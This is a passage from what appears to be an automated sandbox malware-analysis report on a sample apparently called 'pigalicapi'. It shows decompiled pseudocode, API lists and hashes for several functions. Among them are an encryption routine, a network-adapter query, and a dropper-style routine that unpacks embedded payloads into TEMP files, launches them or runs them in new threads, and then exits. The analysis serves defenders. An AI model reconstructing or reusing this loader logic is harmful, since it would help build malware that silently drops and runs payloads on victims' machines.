CryptDestroyKey.ADVAPI32(00000000), ref: 00EC8B91
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 00EC8B9D

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 00EC8AFC
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 00EC8AC4

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: Crypt$Context$AcquireDestroyImport$DecryptErrorLastRelease
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 1555285084-947817771
Opcode ID: efdbbc3a895658366695e3bf684988fbbfa21d625c3ef021a8f08a5a001ad324
Instruction ID: 61e96a6c75382ce2494a26298f0e7591596c8f04322258134bab111a92c57326
Opcode Fuzzy Hash: efdbbc3a895658366695e3bf684988fbbfa21d625c3ef021a8f08a5a001ad324
Instruction Fuzzy Hash: 8C3127B5A00209EFDB14CFA5CE49FEE77B8EB48704F14811CF505B6280CBB69A46CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00EC8970 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00EC8970(intOrPtr _a4, intOrPtr* _a8, BYTE* _a12, int _a16) {
				int _v8;
				long* _v12;
				long _v16;
				long* _v20;
				char* _t27;
				int _t28;
				int _t33;
				char* _t47;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L12:
					return _v8;
				} else {
					_v12 = 0;
					_t27 =  *0xed3370; // 0xecc6e4
					_t28 = CryptAcquireContextA( &_v12, _t27, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0); // executed
					if(_t28 == 0) {
						_v16 = GetLastError();
						if(_v16 == 0x80090016 || _v16 == 0x8009000b) {
							_t47 =  *0xed3370; // 0xecc6e4
							CryptAcquireContextA( &_v12, _t47, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
						}
					}
					if(_v12 != 0) {
						_v20 = 0;
						if(CryptImportKey(_v12, _a12, _a16, 0, 1,  &_v20) != 0) {
							_t33 = _v20;
							__imp__CryptEncrypt(_t33, 0, 1, 0, _a4, _a8,  *_a8);
							_v8 = _t33;
							CryptDestroyKey(_v20);
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L12;
				}
			}

0x00ec8976
0x00ec8981
0x00ec8a60
0x00ec8a66
0x00ec89a5
0x00ec89a5
0x00ec89b5
0x00ec89bf
0x00ec89c7
0x00ec89cf
0x00ec89d9
0x00ec89ed
0x00ec89f8
0x00ec89f8
0x00ec89d9
0x00ec8a02
0x00ec8a04
0x00ec8a27
0x00ec8a3d
0x00ec8a41
0x00ec8a47
0x00ec8a4e
0x00ec8a4e
0x00ec8a5a
0x00ec8a5a
0x00000000
0x00ec8a02

APIs

CryptAcquireContextA.ADVAPI32(00000000,00ECC6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 00EC89BF
GetLastError.KERNEL32 ref: 00EC89C9
CryptAcquireContextA.ADVAPI32(00000000,00ECC6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 00EC89F8
CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 00EC8A1F
CryptEncrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 00EC8A41
CryptDestroyKey.ADVAPI32(00000000), ref: 00EC8A4E
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 00EC8A5A

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 00EC89B0
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 00EC89E8

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: Crypt$Context$Acquire$DestroyEncryptErrorImportLastRelease
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 3736710109-947817771
Opcode ID: 3c1a20744aef626269598c4ffb4477034c184469ffa5cce363440ae8b8de0968
Instruction ID: 205a461ead9d04cbc5340cc67e1afa1bb14dec8e877e3ee6488fb01fa8c8d845
Opcode Fuzzy Hash: 3c1a20744aef626269598c4ffb4477034c184469ffa5cce363440ae8b8de0968
Instruction Fuzzy Hash: 74312B71A40208EFDB14CFA5CE49FAE77B8FB44704F14815DF519B6280CBB69A86CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00E42000 Relevance: 12.8, APIs: 3, Strings: 4, Instructions: 506memorylibraryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00E42221
VirtualAlloc.KERNEL32(00000000,0063F02F,00003000,00000040), ref: 00E42289
LoadLibraryA.KERNEL32(?), ref: 00E42350

Strings

., xrefs: 00E42046
lloc, xrefs: 00E420F5
GetProcAddress., xrefs: 00E4205F
l, xrefs: 00E4204D

Memory Dump Source

Source File: 00000004.00000002.858688043.0000000000E42000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E42000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e42000_pigalicapi.jbxd

Similarity

API ID: AllocVirtual$LibraryLoad
String ID: .$GetProcAddress.$l$lloc
API String ID: 2441068224-1161241244
Opcode ID: ae2d4a658cb016d9caf0d991730e99a6e299ba687abf2cc8df3dcc277493a898
Instruction ID: 68d2324ebf385254832783caad9b372f41e3d61561f72ea2658ee46f6175a6c9
Opcode Fuzzy Hash: ae2d4a658cb016d9caf0d991730e99a6e299ba687abf2cc8df3dcc277493a898
Instruction Fuzzy Hash: BE2255B1A002199FDB14CFA9C884BAEBBB5FF48314F658169EA15AB340D774E941CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00EC9F70 Relevance: 1.6, APIs: 1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00EC9F70(intOrPtr _a4, signed int _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				void* _v32;
				intOrPtr* _t59;
				intOrPtr _t64;
				void* _t99;
				void* _t100;

				_v8 = 1;
				if(_a4 != 0) {
					_t103 = _a8 - 5;
					if(_a8 > 5) {
						asm("cdq");
						_t59 = E00EC97A0( ~(0 | _t103 > 0x00000000) | _a8 / 0x00000006 * 0x00000288); // executed
						_t100 = _t99 + 4;
						_v28 = _t59;
						_v12 = _v28;
						if(_v12 != 0) {
							_v16 = _v12;
							_v20 = _a8 * 0x288 / 6;
							_push( &_v20);
							_t64 = _v12;
							_push(_t64); // executed
							L00ECB1DA(); // executed
							if(_t64 == 0) {
								_v24 = 0;
								while(_v12 != 0 && _v24 < _a8) {
									if( *((intOrPtr*)(_v12 + 0x190)) < _a8 - _v24) {
										E00EC7B70(_a4 + _v24, _v12 + 0x194,  *((intOrPtr*)(_v12 + 0x190)));
										_t100 = _t100 + 0xc;
										_v24 = _v24 +  *((intOrPtr*)(_v12 + 0x190));
										_v12 =  *_v12;
										_v8 = 1;
										continue;
									}
									break;
								}
								 *_a12 = _v24;
							}
							_v32 = _v16;
							E00EC97C0(_v32);
						}
					}
				}
				return _v8;
			}

0x00ec9f76
0x00ec9f81
0x00ec9f87
0x00ec9f8b
0x00ec9f94
0x00ec9fad
0x00ec9fb2
0x00ec9fb5
0x00ec9fbb
0x00ec9fc2
0x00ec9fcb
0x00ec9fe0
0x00ec9fe6
0x00ec9fe7
0x00ec9fea
0x00ec9feb
0x00ec9ff2
0x00ec9ff4
0x00ec9ffb
0x00eca018
0x00eca034
0x00eca039
0x00eca048
0x00eca050
0x00eca053
0x00000000
0x00eca05e
0x00000000
0x00eca018
0x00eca066
0x00eca066
0x00eca06b
0x00eca072
0x00eca077
0x00ec9fc2
0x00ec9f8b
0x00eca080

APIs

Part of subcall function 00EC97A0: GetProcessHeap.KERNEL32(00000008,00EC9FB2,?,00EC9FB2,00000000,?,?,?,00EC9E2D), ref: 00EC97A9
Part of subcall function 00EC97A0: RtlAllocateHeap.NTDLL(00000000,?,00EC9FB2,00000000,?,?,?,00EC9E2D), ref: 00EC97B0

GetAdaptersInfo.IPHLPAPI(00000000,00EC9E2D), ref: 00EC9FEB

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: Heap$AdaptersAllocateInfoProcess
String ID:
API String ID: 1318000056-0
Opcode ID: 374b3df48fd222b748f5d8f60070611a91b87633199b25d56e39dc9f3738b929
Instruction ID: e07030c96ef60a5bfda4a2a66facb4adf47097d717b9efe223d372646b317cc6
Opcode Fuzzy Hash: 374b3df48fd222b748f5d8f60070611a91b87633199b25d56e39dc9f3738b929
Instruction Fuzzy Hash: 58311BB4A0020DEFCB04CF98C596BEEB7B5EF48308F14816DE909A7351D7369A42CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00EC62B0 Relevance: 56.7, APIs: 29, Strings: 3, Instructions: 657
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00EC62B0(intOrPtr* _a4, intOrPtr _a8) {
				long _v8;
				intOrPtr _v12;
				signed int _v13;
				void* _v20;
				int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void _v36;
				void* _v40;
				long _v44;
				signed int _v48;
				void* _v52;
				long _v56;
				void _v60;
				char _v324;
				void* _v328;
				char _v340;
				char _v604;
				int _v608;
				long _v612;
				signed int _v616;
				void* _v620;
				void* _v624;
				void* _v628;
				int _v632;
				signed int _v636;
				long _v640;
				void* _v644;
				void* _v648;
				void* _v652;
				char _v916;
				void* _v920;
				char _v932;
				char _v1196;
				long _v1200;
				int _v1204;
				long _v1208;
				void* _v1212;
				long _v1216;
				signed int _v1220;
				void* _v1224;
				void* _v1228;
				intOrPtr _t317;
				signed char _t321;
				void* _t333;
				signed int _t340;
				void* _t349;
				signed int _t355;
				void* _t361;
				void* _t368;
				void* _t378;
				void* _t381;
				signed int _t383;
				void* _t386;
				void* _t393;
				int _t415;
				signed int _t421;
				signed int _t428;
				signed char _t433;
				void* _t439;
				signed char _t442;
				void* _t448;
				signed int _t452;
				intOrPtr _t455;
				void* _t465;
				void* _t472;
				void* _t473;
				void* _t508;
				void* _t509;
				void* _t528;
				void* _t529;
				void* _t539;
				void* _t549;
				void* _t550;
				void* _t551;
				void* _t563;
				void* _t598;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0) {
					L99:
					return _v8;
				} else {
					_v12 =  *_a4;
					if(_v12 > 0 && _v12 < 0x400) {
						_v20 = _a4 + 4;
						_v24 = 0;
						while(_v24 < _v12) {
							if(_v24 <= 0) {
								L10:
								_v28 = _v20 + 0x18;
								_v32 =  *_v20 - 0x18;
								__eflags =  *((intOrPtr*)(_v20 + 4)) -  *0xece270; // 0x1
								if(__eflags != 0) {
									L22:
									_t428 = _v24 + 1;
									__eflags = _t428;
									_v24 = _t428;
									continue;
								}
								__eflags =  *((intOrPtr*)(_v20 + 8)) -  *0xece284; // 0x1
								if(__eflags != 0) {
									goto L22;
								}
								_t508 = _v20;
								__eflags =  *(_t508 + 0xc) & 0x00000002;
								if(( *(_t508 + 0xc) & 0x00000002) == 0) {
									goto L22;
								}
								__eflags =  *0xed435d & 0x000000ff;
								if(( *0xed435d & 0x000000ff) == 0) {
									goto L22;
								}
								_t509 = _v20;
								__eflags =  *(_t509 + 0xc) & 0x00000010;
								if(( *(_t509 + 0xc) & 0x00000010) == 0) {
									_t433 = E00EC1EE0(_v28, 0xea60);
									_t598 = _t598 + 8;
									_v8 = _t433 & 0x000000ff;
									L21:
									break;
								}
								_v44 =  *((intOrPtr*)(_v28 + _v32 - 4));
								_v40 = VirtualAlloc(0, _v44, 0x3000, 4);
								__eflags = _v40;
								if(_v40 == 0) {
									L19:
									goto L21;
								}
								_t439 = E00EC6260(_v40, _v28, _v32, _v40, _v44);
								__eflags = _t439 - _v44;
								if(_t439 == _v44) {
									_t442 = E00EC1EE0(_v40, 0xea60);
									_t598 = _t598 + 8;
									_v8 = _t442 & 0x000000ff;
								}
								VirtualFree(_v40, 0, 0x8000);
								goto L19;
							} else {
								_v36 =  *_v20;
								_v20 = _v20 + _v36;
								if(_v20 <= _a4 + _a8) {
									goto L10;
								} else {
									return 0;
								}
							}
						}
						_v13 = 0;
						_v20 = _a4 + 4;
						_v48 = 0;
						while(1) {
							__eflags = _v48 - _v12;
							if(_v48 >= _v12) {
								break;
							}
							__eflags = _v48;
							if(_v48 <= 0) {
								L29:
								_v52 = _v20 + 0x18;
								_v56 =  *_v20 - 0x18;
								__eflags =  *((intOrPtr*)(_v20 + 4)) -  *0xece274; // 0x2
								if(__eflags != 0) {
									L39:
									_t448 = _v20;
									__eflags =  *(_t448 + 0xc) & 0x00000002;
									if(( *(_t448 + 0xc) & 0x00000002) == 0) {
										__eflags =  *((intOrPtr*)(_v20 + 4)) -  *0xece270; // 0x1
										if(__eflags != 0) {
											L90:
											__eflags =  *((intOrPtr*)(_v20 + 4)) -  *0xece278; // 0x3
											if(__eflags != 0) {
												L93:
												__eflags =  *((intOrPtr*)(_v20 + 4)) -  *0xece27c; // 0x4
												if(__eflags == 0) {
													_v13 = 1;
												}
												L95:
												L24:
												_t452 = _v48 + 1;
												__eflags = _t452;
												_v48 = _t452;
												continue;
											}
											__eflags =  *((intOrPtr*)(_v20 + 8)) -  *0xece288; // 0x2
											if(__eflags != 0) {
												goto L93;
											}
											_t317 =  *0xece28c; // 0xed3f88
											_t455 =  *0xed18a0; // 0xed3b88
											E00ECA360(_t455, _t317, _v52, _v56);
											_t598 = _t598 + 0x10;
											goto L95;
										}
										__eflags =  *((intOrPtr*)(_v20 + 8)) -  *0xece284; // 0x1
										if(__eflags != 0) {
											goto L90;
										}
										_t321 = E00EC7250(_v20, _v52, _v56);
										_t598 = _t598 + 0xc;
										__eflags = _t321 & 0x000000ff;
										if((_t321 & 0x000000ff) != 0) {
											_t528 = _v20;
											__eflags =  *(_t528 + 0x14);
											if( *(_t528 + 0x14) == 0) {
												L48:
												_t529 = _v20;
												__eflags =  *(_t529 + 0xc) & 0x00000001;
												if(( *(_t529 + 0xc) & 0x00000001) == 0) {
													GetEnvironmentVariableA("TEMP",  &_v1196, 0x104);
													E00EC7D20( &_v932,  &_v932, 0, 0xa);
													E00EC9730( &_v932, 4);
													_t598 = _t598 + 0x14;
													GetTempFileNameA( &_v1196,  &_v932, GetTickCount() % 0xffff,  &_v916);
													_v920 = CreateFileA( &_v916, 0x40000000, 1, 0, 2, 0, 0);
													__eflags = _v920 - 0xffffffff;
													if(_v920 == 0xffffffff) {
														L89:
														goto L24;
													}
													_v1200 = 0;
													_v1204 = 0;
													_v1208 = _v56;
													_t333 = _v20;
													__eflags =  *(_t333 + 0xc) & 0x00000010;
													if(( *(_t333 + 0xc) & 0x00000010) == 0) {
														_v1204 = WriteFile(_v920, _v52, _v56,  &_v1200, 0);
													} else {
														_v1216 =  *((intOrPtr*)(_v52 + _v56 - 4));
														_v1212 = VirtualAlloc(0, _v1216, 0x3000, 4);
														__eflags = _v1212;
														if(_v1212 != 0) {
															_t349 = E00EC6260(_v56, _v52, _v56, _v1212, _v1216);
															__eflags = _t349 - _v1216;
															if(_t349 == _v1216) {
																_v1204 = WriteFile(_v920, _v1212, _v1216,  &_v1200, 0);
																_v1208 = _v1216;
															}
															VirtualFree(_v1212, 0, 0x8000);
														}
													}
													__eflags = _v1204;
													if(_v1204 == 0) {
														L88:
														CloseHandle(_v920);
													} else {
														__eflags = _v1200 - _v1208;
														if(_v1200 != _v1208) {
															goto L88;
														}
														CloseHandle(_v920);
														_t340 = E00EC1E60( &_v916);
														_t598 = _t598 + 4;
														_v1220 = _t340;
														__eflags = _v1220;
														if(_v1220 != 0) {
															_t465 = _v20;
															__eflags =  *(_t465 + 0x10);
															if( *(_t465 + 0x10) != 0) {
																E00EC73C0(_v20, _v52, _v56);
																_t598 = _t598 + 0xc;
															}
															_t539 = _v20;
															__eflags =  *(_t539 + 0xc) & 0x00000004;
															if(( *(_t539 + 0xc) & 0x00000004) != 0) {
																E00EC2510(_v1220, 0xece290);
																_t598 = _t598 + 8;
															}
															_v8 = 1;
														}
													}
													goto L89;
												}
												_v636 = 0;
												_v632 = 0;
												_v640 = 0;
												_t472 = _v20;
												__eflags =  *(_t472 + 0xc) & 0x00000010;
												if(( *(_t472 + 0xc) & 0x00000010) == 0) {
													_t355 = E00EC2070(_v52);
													_t598 = _t598 + 4;
													_v636 = _t355;
												} else {
													_v640 =  *((intOrPtr*)(_v52 + _v56 - 4));
													_t378 = VirtualAlloc(0, _v640, 0x3000, 4); // executed
													_v644 = _t378;
													__eflags = _v644;
													if(_v644 != 0) {
														_t381 = E00EC6260(_v644, _v52, _v56, _v644, _v640);
														__eflags = _t381 - _v640;
														if(_t381 == _v640) {
															_t383 = E00EC2070(_v644); // executed
															_t598 = _t598 + 4;
															_v636 = _t383;
															_t563 = _v20;
															__eflags =  *(_t563 + 0xc) & 0x00000008;
															if(( *(_t563 + 0xc) & 0x00000008) != 0) {
																_t386 = VirtualAlloc(0, _v640, 0x3000, 4); // executed
																_v632 = _t386;
																E00EC7B70(_v632, _v644, _v640);
																_t598 = _t598 + 0xc;
															}
														}
														VirtualFree(_v644, 0, 0x8000); // executed
													}
												}
												__eflags = _v636;
												if(_v636 != 0) {
													_t473 = _v20;
													__eflags =  *(_t473 + 0x10);
													if( *(_t473 + 0x10) != 0) {
														E00EC73C0(_v20, _v52, _v56);
														_t598 = _t598 + 0xc;
													}
													_t549 = _v20;
													__eflags =  *(_t549 + 0xc) & 0x00000008;
													if(( *(_t549 + 0xc) & 0x00000008) != 0) {
														_t361 = E00EC97A0(0x10);
														_t598 = _t598 + 4;
														_v1228 = _t361;
														_v648 = _v1228;
														_t551 = _v20;
														__eflags =  *(_t551 + 0xc) & 0x00000010;
														if(( *(_t551 + 0xc) & 0x00000010) == 0) {
															 *_v648 = VirtualAlloc(0, _v56, 0x3000, 4);
															__eflags =  *_v648;
															if( *_v648 != 0) {
																E00EC7B70( *_v648, _v52, _v56);
																_t598 = _t598 + 0xc;
																 *(_v648 + 4) = _v56;
															}
														} else {
															 *_v648 = _v632;
															 *(_v648 + 4) = _v640;
														}
														__eflags =  *_v648;
														if( *_v648 != 0) {
															 *((intOrPtr*)(_v648 + 8)) =  *((intOrPtr*)(_v20 + 0xc));
															 *((intOrPtr*)(_v648 + 0xc)) = _v636;
															_t368 = CreateThread(0, 0, E00EC77B0, _v648, 0, 0); // executed
															_v652 = _t368;
															CloseHandle(_v652);
														}
													}
													_t550 = _v20;
													__eflags =  *(_t550 + 0xc) & 0x00000004;
													if(( *(_t550 + 0xc) & 0x00000004) != 0) {
														E00EC2510(_v636, 0xece290);
														_t598 = _t598 + 8;
													}
													_v8 = 1;
												}
												goto L24;
											}
											_v620 = VirtualAlloc(0, _v56, 0x3000, 4);
											__eflags = _v620;
											if(_v620 == 0) {
												goto L48;
											}
											E00EC7B70(_v620, _v52, _v56);
											_t393 = E00EC97A0(0x20);
											_t598 = _t598 + 0x10;
											_v1224 = _t393;
											_v624 = _v1224;
											 *_v624 =  *_v20;
											 *((intOrPtr*)(_v624 + 4)) =  *((intOrPtr*)(_v20 + 4));
											 *((intOrPtr*)(_v624 + 8)) =  *((intOrPtr*)(_v20 + 8));
											 *((intOrPtr*)(_v624 + 0x14)) =  *((intOrPtr*)(_v20 + 0x14));
											 *((intOrPtr*)(_v624 + 0x1c)) = _v56;
											 *((intOrPtr*)(_v624 + 0xc)) =  *((intOrPtr*)(_v20 + 0xc));
											 *((intOrPtr*)(_v624 + 0x10)) =  *((intOrPtr*)(_v20 + 0x10));
											 *(_v624 + 0x18) = _v620;
											_v628 = CreateThread(0, 0, E00EC6DA0, _v624, 0, 0);
											CloseHandle(_v628);
											goto L24;
										}
										goto L24;
									}
									goto L24;
								}
								__eflags =  *((intOrPtr*)(_v20 + 8)) -  *0xece284; // 0x1
								if(__eflags != 0) {
									goto L39;
								}
								GetEnvironmentVariableA("TEMP",  &_v604, 0x104);
								E00EC7D20( &_v340,  &_v340, 0, 0xa);
								E00EC9730( &_v340, 4);
								_t598 = _t598 + 0x14;
								GetTempFileNameA( &_v604,  &_v340, GetTickCount() % 0xffff,  &_v324);
								_v328 = CreateFileA( &_v324, 0x40000000, 1, 0, 2, 0x80, 0);
								__eflags = _v328 - 0xffffffff;
								if(_v328 == 0xffffffff) {
									goto L39;
								}
								_v608 = 0;
								_v612 = 0;
								_t415 = WriteFile(_v328, _v52, _v56,  &_v612, 0);
								__eflags = _t415;
								if(_t415 == 0) {
									L37:
									__eflags = _v608;
									if(_v608 == 0) {
										CloseHandle(_v328);
									}
									goto L39;
								}
								__eflags = _v612 - _v56;
								if(_v612 != _v56) {
									goto L37;
								}
								_v608 = CloseHandle(_v328);
								E00EC6C60();
								_t421 = E00EC1E60( &_v324);
								_t598 = _t598 + 4;
								_v616 = _t421;
								__eflags = _v616;
								if(_v616 == 0) {
									E00EC6CF0();
									goto L37;
								}
								E00EC74A0();
								ExitProcess(0);
							}
							_v60 =  *_v20;
							_v20 = _v20 + _v60;
							__eflags = _v20 - _a4 + _a8;
							if(_v20 <= _a4 + _a8) {
								goto L29;
							}
							return 0;
						}
						__eflags = (_v13 & 0x000000ff) - 1;
						if((_v13 & 0x000000ff) != 1) {
							 *0xed30e4 = 1;
						} else {
							 *0xed30e4 = 2;
						}
					}
					goto L99;
				}
			}

0x00ec62b9
0x00ec62c4
0x00ec6c4e
0x00000000
0x00ec62d4
0x00ec62d9
0x00ec62e0
0x00ec62f9
0x00ec62fc
0x00ec630e
0x00ec631e
0x00ec6343
0x00ec6349
0x00ec6354
0x00ec635d
0x00ec6363
0x00ec6429
0x00ec6308
0x00ec6308
0x00ec630b
0x00000000
0x00ec630b
0x00ec636f
0x00ec6375
0x00000000
0x00000000
0x00ec637b
0x00ec6381
0x00ec6384
0x00000000
0x00000000
0x00ec6391
0x00ec6393
0x00000000
0x00000000
0x00ec6399
0x00ec639f
0x00ec63a2
0x00ec6419
0x00ec641e
0x00ec6424
0x00ec6427
0x00000000
0x00ec6427
0x00ec63ad
0x00ec63c3
0x00ec63c6
0x00ec63ca
0x00ec640e
0x00000000
0x00ec640e
0x00ec63dc
0x00ec63e1
0x00ec63e4
0x00ec63ef
0x00ec63f4
0x00ec63fa
0x00ec63fa
0x00ec6408
0x00000000
0x00ec6320
0x00ec6325
0x00ec632e
0x00ec633a
0x00000000
0x00ec633c
0x00000000
0x00ec633c
0x00ec633a
0x00ec631e
0x00ec642e
0x00ec6438
0x00ec643b
0x00ec644d
0x00ec6450
0x00ec6453
0x00000000
0x00000000
0x00ec6459
0x00ec645d
0x00ec6482
0x00ec6488
0x00ec6493
0x00ec649c
0x00ec64a2
0x00ec65f3
0x00ec65f3
0x00ec65f9
0x00ec65fc
0x00ec6609
0x00ec660f
0x00ec6bdd
0x00ec6be3
0x00ec6be9
0x00ec6c18
0x00ec6c1e
0x00ec6c24
0x00ec6c26
0x00ec6c26
0x00ec6c2a
0x00ec6444
0x00ec6447
0x00ec6447
0x00ec644a
0x00000000
0x00ec644a
0x00ec6bf1
0x00ec6bf7
0x00000000
0x00000000
0x00ec6c01
0x00ec6c07
0x00ec6c0e
0x00ec6c13
0x00000000
0x00ec6c13
0x00ec661b
0x00ec6621
0x00000000
0x00000000
0x00ec6633
0x00ec6638
0x00ec663e
0x00ec6640
0x00ec6647
0x00ec664a
0x00ec664e
0x00ec6752
0x00ec6752
0x00ec6758
0x00ec675b
0x00ec69cb
0x00ec69dc
0x00ec69ed
0x00ec69f2
0x00ec6a1a
0x00ec6a3c
0x00ec6a42
0x00ec6a49
0x00ec6bd6
0x00000000
0x00ec6bd6
0x00ec6a4f
0x00ec6a59
0x00ec6a66
0x00ec6a6c
0x00ec6a72
0x00ec6a75
0x00ec6b3c
0x00ec6a7b
0x00ec6a84
0x00ec6aa0
0x00ec6aa6
0x00ec6aad
0x00ec6ac5
0x00ec6aca
0x00ec6ad0
0x00ec6af6
0x00ec6b02
0x00ec6b02
0x00ec6b16
0x00ec6b16
0x00ec6b1c
0x00ec6b42
0x00ec6b49
0x00ec6bc9
0x00ec6bd0
0x00ec6b4b
0x00ec6b51
0x00ec6b57
0x00000000
0x00000000
0x00ec6b60
0x00ec6b6d
0x00ec6b72
0x00ec6b75
0x00ec6b7b
0x00ec6b82
0x00ec6b84
0x00ec6b87
0x00ec6b8b
0x00ec6b99
0x00ec6b9e
0x00ec6b9e
0x00ec6ba1
0x00ec6ba7
0x00ec6baa
0x00ec6bb8
0x00ec6bbd
0x00ec6bbd
0x00ec6bc0
0x00ec6bc0
0x00ec6bc7
0x00000000
0x00ec6b49
0x00ec6761
0x00ec676b
0x00ec6775
0x00ec677f
0x00ec6785
0x00ec6788
0x00ec685c
0x00ec6861
0x00ec6864
0x00ec678e
0x00ec6797
0x00ec67ad
0x00ec67b3
0x00ec67b9
0x00ec67c0
0x00ec67dc
0x00ec67e1
0x00ec67e7
0x00ec67f0
0x00ec67f5
0x00ec67f8
0x00ec67fe
0x00ec6804
0x00ec6807
0x00ec6819
0x00ec681f
0x00ec683a
0x00ec683f
0x00ec683f
0x00ec6807
0x00ec6850
0x00ec6850
0x00ec6856
0x00ec686a
0x00ec6871
0x00ec6877
0x00ec687a
0x00ec687e
0x00ec688c
0x00ec6891
0x00ec6891
0x00ec6894
0x00ec689a
0x00ec689d
0x00ec68a5
0x00ec68aa
0x00ec68ad
0x00ec68b9
0x00ec68bf
0x00ec68c5
0x00ec68c8
0x00ec6902
0x00ec690a
0x00ec690d
0x00ec6920
0x00ec6925
0x00ec6931
0x00ec6931
0x00ec68ca
0x00ec68d6
0x00ec68e4
0x00ec68e4
0x00ec693a
0x00ec693d
0x00ec694b
0x00ec695a
0x00ec6971
0x00ec6977
0x00ec6984
0x00ec6984
0x00ec693d
0x00ec698a
0x00ec6990
0x00ec6993
0x00ec69a1
0x00ec69a6
0x00ec69a6
0x00ec69a9
0x00ec69a9
0x00000000
0x00ec69b0
0x00ec6667
0x00ec666d
0x00ec6674
0x00000000
0x00000000
0x00ec6689
0x00ec6693
0x00ec6698
0x00ec669b
0x00ec66a7
0x00ec66b8
0x00ec66c6
0x00ec66d5
0x00ec66e4
0x00ec66f0
0x00ec66ff
0x00ec670e
0x00ec671d
0x00ec673a
0x00ec6747
0x00000000
0x00ec6747
0x00000000
0x00ec6642
0x00000000
0x00ec65fe
0x00ec64ae
0x00ec64b4
0x00000000
0x00000000
0x00ec64cb
0x00ec64dc
0x00ec64ed
0x00ec64f2
0x00ec651a
0x00ec653f
0x00ec6545
0x00ec654c
0x00000000
0x00000000
0x00ec6552
0x00ec655c
0x00ec657e
0x00ec6584
0x00ec6586
0x00ec65dd
0x00ec65dd
0x00ec65e4
0x00ec65ed
0x00ec65ed
0x00000000
0x00ec65e4
0x00ec658e
0x00ec6591
0x00000000
0x00000000
0x00ec65a0
0x00ec65a6
0x00ec65b2
0x00ec65b7
0x00ec65ba
0x00ec65c0
0x00ec65c7
0x00ec65d8
0x00000000
0x00ec65d8
0x00ec65c9
0x00ec65d0
0x00ec65d0
0x00ec6464
0x00ec646d
0x00ec6476
0x00ec6479
0x00000000
0x00000000
0x00000000
0x00ec647b
0x00ec6c33
0x00ec6c36
0x00ec6c44
0x00ec6c38
0x00ec6c38
0x00ec6c38
0x00ec6c36
0x00000000
0x00ec62e0

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 00EC63BD
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,00000000,?), ref: 00EC6408

Strings

TEMP, xrefs: 00EC64C6
TEMP, xrefs: 00EC69C6
Topdawabe, xrefs: 00EC6C06

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID: TEMP$TEMP$Topdawabe
API String ID: 2087232378-2420129230
Opcode ID: 7a5c415347b309f894b7a622370972dcf84846f8ec17d06a5582081bed79cebf
Instruction ID: 7cf0ae4c13f72e8d607537986f74d7de6fd6180fd789d514ae97fde68a8910eb
Opcode Fuzzy Hash: 7a5c415347b309f894b7a622370972dcf84846f8ec17d06a5582081bed79cebf
Instruction Fuzzy Hash: 1A5238B0A002189FDB14DF94DD89FAEB7B5BB48304F24859CE509B7291D772AE86CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00EC4020 Relevance: 30.2, APIs: 20, Instructions: 215
threadsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E00EC4020(intOrPtr _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, signed int _a20, char _a24) {
				signed int _v5;
				signed int _v12;
				char _v16;
				void* _v20;
				struct _CRITICAL_SECTION _v44;
				long _v48;
				void* _v52;
				void _v56;
				long _v60;
				HANDLE* _v64;
				void* _v68;
				intOrPtr _v72;
				void* _v76;
